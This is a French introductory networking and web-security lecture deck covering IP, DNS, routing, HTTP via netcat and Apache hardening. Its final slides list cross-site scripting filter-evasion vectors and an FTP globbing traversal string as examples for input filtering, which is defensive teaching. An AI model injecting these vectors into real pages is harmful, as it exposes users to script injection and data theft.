julien bourgeois année spéciale src iut belfort-montbéliard [email protected] 1...

109
Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard http://rma.pu-pm.univ-fcomte.fr [email protected] 1 Bureau recherche Numérica 03 81 99 47 75 Bureau Enseignement Département R&T 03 81 99 47 05 Certains transparents de Didier Donsez sur HTTP

Upload: melisent-prevot

Post on 04-Apr-2015

113 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Julien BourgeoisAnnée Spéciale SRC

IUT Belfort-Montbéliardhttp://[email protected]

1

Bureau rechercheNumérica

03 81 99 47 75

Bureau Enseignement

Département R&T03 81 99 47 05

Certains transparents de Didier Donsez sur HTTP

Page 2: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

www.netcraft.com www.vulnwatch.org/netcat/ www-adele.imag.fr/users/Didier.Donsez/cours/http.pdf www.liafa.jussieu.fr/~yunes/internet/http

2

Page 3: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Votre métier repose sur les technologies réseau

Donner une idée des technologies réseau pour :◦ Avoir un socle commun pour dialoguer avec les

autres◦ Comprendre un minimum ce qui se passe au

niveau physique◦ Etre capable de se débrouiller pour certaines

opérations (Serveur web, DNS, serveur FTP, etc.)

3

Page 4: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

4

Page 5: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

5

?

www.google.com

Où trouver www.google.com

?

Que veut-elle comme service ?

Que faut-il lui envoyer ?

Page 6: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

6

?

www.google.com

Où trouver www.google.com

?

Que veut-elle comme service ?

Que faut-il lui envoyer ?

Page 7: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

7/23

Le LAN (Local Area Network) ou réseau local

InternetContient des liaisons WAN

(Wide area networks)

Page 8: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Toute machine connectée à internet a une adresse IP (Internet Protocol)

C’est une adresse composée de 4 chiffres (0-255) séparés par des points

Par exemple :◦ Serveur web SRC, 194.57.85.209◦ Serveur web pôle, 194.57.85.210◦ Serveur R&T, 194.57.85.250

8

(

Page 9: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

194 .57 .85 .209 194 .57 .85 .210 194 .57 .85 .250 11000010. 00111001. 01010101. 11010001 11000010. 00111001. 01010101. 11010010 11000010. 00111001. 01010101. 11111010

9

Adresse réseau Adresse machine

Page 10: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Comment différencier l’@ réseau de l’@ machine ?◦ A toute @IP est associé un masque de sous-

réseau (netmask)◦ Une @IP seule ne suffit donc pas !

Le netmask sert à éliminer l’@ machine de l’@ IP

10

Page 11: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

194 .57 .85 .209 194 .57 .85 .210 194 .57 .85 .250 11000010. 00111001. 01010101. 11010001 11000010. 00111001. 01010101. 11010010 11000010. 00111001. 01010101. 11111010

Ces trois adresses ont le même netmask◦ 255.255.255.192

11

Adresse réseau Adresse machine

Page 12: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

194 .57 .85 .209 255 .255 .255 .192 194 .57 .85 .192

11000010. 00111001. 01010101. 11010001 11111111. 11111111. 11111111. 11000000 11000010. 00111001. 01010101. 11000000

On obtient que l’@ réseau, mais à quoi ça sert ?

12

&

&

Page 13: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

13

Page 14: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

14)

Page 15: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

15

Le LAN (Local Area Network) ou réseau local

InternetContient des liaisons WAN

(Wide area networks)

@IP

@IP

Page 16: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

On sait que :◦ Les réseaux sont structurés en LAN/WAN◦ Chaque appareil connecté à internet possède une

adresse IP et un netmask Problème :

◦ www.google.com n’est pas une adresse IP…

16

Page 17: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Domain Name System◦ Protocole de communication◦ Ensemble de serveurs

Permet de faire la conversion entre un nom alphabétique et une adresse IP

Important notamment quand on créé son site web car on doit référencer son adresse auprès des DNS !

17

(

Page 18: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Host (linux) ou nslookup (windows) affichent la correspondance

26

Démarrer -> Exécuter -> cmd, puis :C:/>nslookup www.google.comServeur : tharradin.pu-pm.univ-fcomte.frAddress: 194.57.85.210

Réponse ne faisant pas autorité :Nom : www.l.google.comAddresses: 64.233.183.99, 64.233.183.104, 64.233.183.103Aliases: www.google.com

@IP

Page 19: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

L'inverse est aussi possible…

… et on l’appelle reverse DNS

19

C:/>nslookup 64.233.183.99Serveur : tharradin.pu-pm.univ-fcomte.frAddress: 194.57.85.210

Nom : nf-in-f147.google.comAddress: 64.233.183.147

Page 20: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Au début de l'Internet : espace à plat (fichier HOSTS.TXT)◦ taille énorme◦ conflits de noms

Actuellement : espace hiérarchique Format des noms : (x1.x2...xN).y.z

◦ Avec au minimum 2 mots, et <63 carac. Exemple :

◦ google.com, pu-pm.univ-fcomte.fr non sensible à la casse (case insensitive)

20

Page 21: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Format des noms : (x1.x2...xN).y.z◦ Valeurs de z :◦ com, org, net, gov, eu, ... : international◦ fr, ro, es, uk, de, ... : par pays◦ vous pouvez donner un nom en .ro à votre site

alors qu'il est hébergé en Suisse (et que vous habitez en France) !

21

Page 22: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

gTLD : Generic Top Level Domain ccTLD : Country Code Top Level Domain

22

NomsNoms

gTLDICANNgTLDICANN

ccTLDAutorité nationale

ccTLDAutorité nationale

Registrar(joker.com)Registrar

(joker.com)Registrar

(gandi.net)Registrar

(gandi.net)Registrar(fc-net.fr)Registrar(fc-net.fr)…

Page 23: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

23

NomsNoms

gTLDICANNgTLDICANN

ccTLDAutorité nationale

ccTLDAutorité nationale

Registrar(joker.com)Registrar

(joker.com)Registrar

(gandi.net)Registrar

(gandi.net)Registrar(fc-net.fr)Registrar(fc-net.fr)…

Internet Corporation for Assigned Names and Numbers (ICANN) pour les gTLD

AFNIC pour les domaines .fr et .re

Page 24: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

24Source www.webhosting.info)

Page 25: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

25

Le LAN (Local Area Network) ou réseau local

InternetContient des liaisons WAN

(Wide area networks)

@IP

@IP = 64.233.183.99

Page 26: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

On sait que :◦ Les réseaux sont structurés en LAN/WAN◦ Chaque appareil connecté à internet possède une

adresse IP et un netmask◦ L’adresse IP de www.google.com s’obtient en

interrogeant le DNS Problème :

◦ Où trouver l’adresse 64.233.183.99 sur internet ?

26

Page 27: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Adresse LAN ou WAN ?C:\>netstat -r

Table de routage

===========================================================================

Liste d'Interfaces

0x1 ........................... MS TCP Loopback interface

0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller

0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection

===========================================================================

===========================================================================

Itinéraires actifs :

Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique

127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1

172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25

0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25

Passerelle par défaut : 172.20.40.126

===========================================================================

27

Page 28: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Adresse LAN ou WAN ?C:\>netstat -r

Table de routage

===========================================================================

Liste d'Interfaces

0x1 ........................... MS TCP Loopback interface

0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller

0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection

===========================================================================

===========================================================================

Itinéraires actifs :

Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique

127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1

172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25

0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25

Passerelle par défaut : 172.20.40.126

===========================================================================

28

Si je veux aller là…La prochaine étape

est…

Pour y arriver je dois passer par…

Page 29: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Adresse LAN ou WAN ?C:\>netstat -r

Table de routage

===========================================================================

Liste d'Interfaces

0x1 ........................... MS TCP Loopback interface

0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller

0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection

===========================================================================

===========================================================================

Itinéraires actifs :

Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique

127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1

172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25

0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25

Passerelle par défaut : 172.20.40.126

===========================================================================

29

Si je veux aller sur ma machine

La prochaine étape est mon loopback

Pour y arriver je dois passer par mon loopback

Page 30: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Adresse LAN ou WAN ?C:\>netstat -r

Table de routage

===========================================================================

Liste d'Interfaces

0x1 ........................... MS TCP Loopback interface

0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller

0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection

===========================================================================

===========================================================================

Itinéraires actifs :

Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique

127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1

172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25

0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25

Passerelle par défaut : 172.20.40.126

===========================================================================

30

Si je veux aller sur mon LAN

La prochaine étape est mon routeur interne

Pour y arriver je dois passer par

mon interface WiFi

Page 31: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Adresse LAN ou WAN ?C:\>netstat -r

Table de routage

===========================================================================

Liste d'Interfaces

0x1 ........................... MS TCP Loopback interface

0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller

0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection

===========================================================================

===========================================================================

Itinéraires actifs :

Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique

127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1

172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25

0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25

Passerelle par défaut : 172.20.40.126

===========================================================================

31

Si je veux aller n’importe où ailleurs

La prochaine étape est mon routeur externe

Pour y arriver je dois passer par

mon interface WiFi

Page 32: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Adresse LAN ou WAN ?C:\>netstat -r

Table de routage

===========================================================================

Liste d'Interfaces

0x1 ........................... MS TCP Loopback interface

0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller

0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection

===========================================================================

===========================================================================

Itinéraires actifs :

Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique

127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1

172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25

0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25

Passerelle par défaut : 172.20.40.126

===========================================================================

32

C’est le sens de la passerelle par défaut !

Page 33: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

On sait que :◦ Les réseaux sont structurés en LAN/WAN◦ Chaque appareil connecté à internet possède une

adresse IP et un netmask◦ L’adresse IP de www.google.com s’obtient en

interrogeant le DNS◦ L’adresse 64.233.183.99 n’est pas sur notre LAN

Problème :◦ Comment trouver son chemin sur internet ?

33

Page 34: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

34

InternetContient des liaisons WAN

(Wide area networks)

@IP

@IP = 64.233.183.99

Envoi à 64.233.183.99

Page 35: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

35

@IP = 64.233.183.99

Routeurs

Page 36: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

36

@IP

@IP = 64.233.183.99

64.233.183.99 ?

Page 37: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

37Source : VisualRoute

26 routeursSRC Google

Page 38: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

38

@IP

@IP = 64.233.183.99

64.233.183.99 ?

Routage dynamique

Page 39: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Physique

Liaison

Réseau

Transport

Session

Présentation

Application Couche 1 :Interfacage avec le support physique

Codage et décodage du signal

Gestion début et fin des trames

Conversion données en signaux

Page 40: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Physique

Liaison

Réseau

Transport

Session

Présentation

Application Couche 1 :Interfacage avec le support physique

Appareil réseau : Concentrateur (Hub)

Renvoie à tous le monde tous les paquets

Topologie physique en étoile, topologie logique en bus

Page 41: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Physique

Liaison

Réseau

Transport

Session

Présentation

Application Couche 2 : sous-couche MAC

Medium Access Control Conversion des données

en trames adaptées au support

Gestion des adresses physiques (adresses MAC)

MAC

LLC

Page 42: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Physique

Liaison

Réseau

Transport

Session

Présentation

Application Couche 2 : sous-couche MAC

Medium Access Control Conversion des données

en trames adaptées au support

Gestion des adresses physiques (adresses MAC)

MAC

LLC

Page 43: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Physique

Liaison

Réseau

Transport

Session

Présentation

Application Couche 2 : sous-couche LLC

Appareil réseau : commutateur (switch)

Utilise les adresses MAC pour router les paquets

MAC

LLC

Page 44: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Physique

Réseau

Transport

Session

Présentation

Application Couche 3 :Adressage, nommage et routage IP (Internet Protocol) Adresse unique pour une

machine Conversion

physique/logique Routage, choix de la

destination des paquets

Liaison

Page 45: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Physique

Réseau

Transport

Session

Présentation

Application Couche 3 :Adressage, nommage et routage Appareil réseau : routeur Utilise les adresses

réseaux Utilise des protocoles de

routage (RIP, OSPF, BGP, etc.)

Liaison

Page 46: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Physique

Réseau

Transport

Session

Présentation

Application Couche 4 : Transport TCP (Transport Control

Protocol) Reséquencement des paquets Etablissement, maintien et

fermeture des liaisons Contrôle de flux et d'erreur UDP (User Datagram Protocol) Mode non-connecté Pas de contrôle de flux, etc.

Liaison

Page 47: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Plusieurs centaines de milliers de serveurs Choix du serveur par un load-balancer

47

Page 48: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Qui est le leader des serveurs web ?◦ Apache

Quelle est sa part de marché en 2007 ?◦ 57%

D’où vient son nom ?◦ A patchy serveur

48

(

Page 49: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

49

Page 50: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

50

Modularité Fiabilité égale aux produits commerciaux

(0.53 erreur par 100 lignes de code) Open source (tuning possible) Multi plate-formes Mauvais départ de IIS principal concurrent Performances

Page 51: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

51

httpd_core mod_access mod_auth mod_dir mod_log_config mod_mime )

Page 52: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

52

@IP

?

Page 53: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

On sait comment trouver le serveur web On peut lui envoyer des informations Mais comment lui demander une page

web ?

53

Page 54: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

HyperText Transfer Protocol Protocole basé sur des messages en texte

◦ Facilement compréhensible Permet de dialoguer avec un serveur web

◦ Stable et éprouvé Historique : HTTP/0.9 : T. Berners-Lee, 1991 RFC 1945 : HTTP/1.0. T. Berners-Lee, R. Fielding, H. Frystyk. 6/1996. RFC 2068 : HTTP/1.1. R. Fielding, J. Gettys, J. Mogul, H. Frystyk, T. Berners-Lee.

1/1997. RFC 2616 : HTTP/1.1. R. Fielding, J. Gettys, J. Mogul, H. Frystyk, L. Masinter, P. Leach,

T. Berners-Lee. 6/1999. RFC 2817 : Upgrading to TLS Within HTTP/1.1. R. Khare, S. Lawrence. May 2000. RFC 2616bis : HTTP/1.1, 1/2008

54

Page 55: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

N’importe quel outil réseau peut dialoguer en HTTP◦ Netcat, telnet, …

Il suffit de connaître les commandes HTTP … et de savoir déchiffrer les réponses du

serveur

55

Page 56: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

C:\>nc -v www.free.fr 80

www.free.fr [212.27.48.10] 80 (http) open

GET / HTTP/1.1

Host: www.free.fr

HTTP/1.1 200 OK

Date: Tue, 28 Aug 2007 08:12:33 GMT

Server: Apache

Last-Modified: Tue, 28 Aug 2007 08:12:41 GMT

ETag: W/"248d6-e6ad-46d3e0cf"

Accept-Ranges: bytes

Content-Length: 59053

Connection: close

Content-Type: text/html; charset=iso-8859-1

X-Pad: avoid browser bug

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><head><title>Bienvenue sur Free :)</title>

</body></html>

56

Commande netcat à taper

Réponse de netcat

Commande HTTP à taperTapez 2x entrée pour envoyer la commande

Réponse au format HTTP de www.free.frsuivi du code HTML de la page demandée

Page 57: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

GET◦ Récupération d ’un document

GET ou POST◦ Soumission d ’un formulaire

PUT, DELETE, LINK, UNLINK ◦ Envoi de Document et Gestion de Site

HEAD◦ Récupération des informations sur le document

57

Page 58: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

OPTIONS◦ Demande des options de communication

disponibles TRACE

◦ Retourne le corps de la requête intacte (déboguage)

CONNECT

58

Page 59: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Du client vers le serveur<Méthode> <URI> HTTP/<Version>

[<Champ d ’entête>: <Valeur>]

[<tab><Suite Valeur si >1024>]

ligne blanche

[corps de la requête pour la méthode POST]

Exemple

59

GET / HTTP/1.1Host: www.free.frLigne blanche (tapez 2x entrée)

Page 60: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

Du serveur vers le clientHTTP/<Version> <Status> <Commentaire Status>

Content-Type: <Type MIME du contenu>

[< Champ d ’entête >: <Valeur>]

[<tab><Suite Valeur si >1024>]

Ligne blanche

Document

Exemple

60

HTTP/1.1 200 OK…Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><head><title>Bienvenue sur Free :)</title>…</body></html>

Page 61: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

100-199 Informationnel◦ 100 : Continue (le client peut envoyer la suite de la requête), ...

200-299 Succès de la requête client◦ 200: OK, 201: Created, 204 : No Content, ...

300-399 Redirection de la Requête client◦ 301: Redirection, 302: Found, 304: Not Modified, 305 : Use

Proxy, ... 400-499 Requête client incomplète

◦ 400: Bad Request, 401: Unauthorized, 403: Forbidden, 404: Not Found

500-599 Erreur Serveur◦ 500: Server Error, 501: Not Implemented,◦ 502: Bad Gateway, 503: Out Of Resources (Service Unavailable)

61

Page 62: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

62

InternetInternet

DMZFTP

HTTP

Routeur avec filtrage niveau 3 et 4

Firewall avec filtrage applicatif

Authentification Filtrage sélectif Détection des

intrusionsIDS

AAA

Page 63: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

63

Cacher des informations◦ ServerTokens Prod◦ ServerSignature Off◦ Redéfinir une page 404

C’est la base mais la plupart des serveurs ne le font pas !!!!

Page 64: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

64

Accès aux répertoires

<directory />order deny,allowdeny from all</directory><directory «/chroot/www/»/>order allow,denyallow from all</directory>

Page 65: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

65

Exécuter apache avec les bons droits Création d’un groupe et d’un utilisateur

apache But : Empêcher (ou retarder…) la

propagation d’un exploit

Page 66: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

66

Commande Unix : change root Exécute une commande avec un répertoire

racine spécifique But : Emprisonner un programme dans son

arborescence

Page 67: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

67

Création d’une arborescence Vérification des dépendances (ldd) Recopie des librairies Recopie des fichiers de configs et spéciaux

Page 68: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

68

Utilisation de debootstrap◦ Permet d’installer une debian de base◦ Evite les recopies fastidueuses◦ Mais prend plus de place !

Page 69: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

69

On se place dans le cas d’utilisateurs ou de programmes mal intentionnés

Technique du cheval de Troie◦ Entrée camouflée◦ Lors de l’exécution, prise de contrôle de

l’application (affichage d’informations confidentielles, exécution de scripts, …)

Page 70: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

70

Niveau administration des services◦ Bloquer certaines fonctionnalités◦ Imposer des limites (CPU, mémoire, etc.)

Linux PAM : Pluggable Authentication Modules Niveau programmation

◦ Filtrage des entrées

Page 71: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

71

Empêcher le changement de répertoire ◦ Interdire /, .. ou ~

Empêcher la divulgation d’informations◦ Interdire le globbing (*, ?, [], {}) (ex: ftp)

Ex : ftp> ls *../*/../*../◦ Filtrer les noms de fichiers

--, caractères de controle, espace, encodage exotique, <, “, etc.

Page 72: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

72

Cause majeure de trou de sécurité Possibilité d’HTML sont énormes :

◦ Cross-site scripting◦ Javascript◦ … tout autre langage (flash, java, …)

Dans les pages HTML, mais surtout dans les mails (pas de sandbox) !

L’utilisateur charge une page sans connaitre son contenu !

Page 73: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

73

Filtrer les caractères de contrôles des pages HTML

Définir une liste de balises sûres…◦ <p>, <b>, <i>, <em>, <strong>, <pre>, <br>

… et éliminer les autres◦ <script>, <applet>, <embed>, <bgsound>, …

Page 74: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

74

Eliminer de manière intelligente :<script></comment><!-- --> -->

Ou<_a<script><<script>

Page 75: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

75

<a href="javas&#99;ript&#35;[code]"><div onmouseover="[code]"><img src="javascript:[code]"><img dynsrc="javascript:[code]"> [IE]<input type="image" dynsrc="javascript:[code]"> [IE]<bgsound src="javascript:[code]"> [IE]&<script>[code]</script>&{[code]}; [N4]<img src=&{[code]};> [N4]<link rel="stylesheet" href="javascript:[code]"><iframe src="vbscript:[code]"> [IE]<img src="mocha:[code]"> [N4]<img src="livescript:[code]"> [N4]<a href="about:<s&#99;ript>[code]</script>"><meta http−equiv="refresh" content="0;url=javascript:[code]"><body onload="[code]">

Page 76: Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard  Julien.Bourgeois@univ-fcomte.fr 1 Bureau recherche Numérica

76

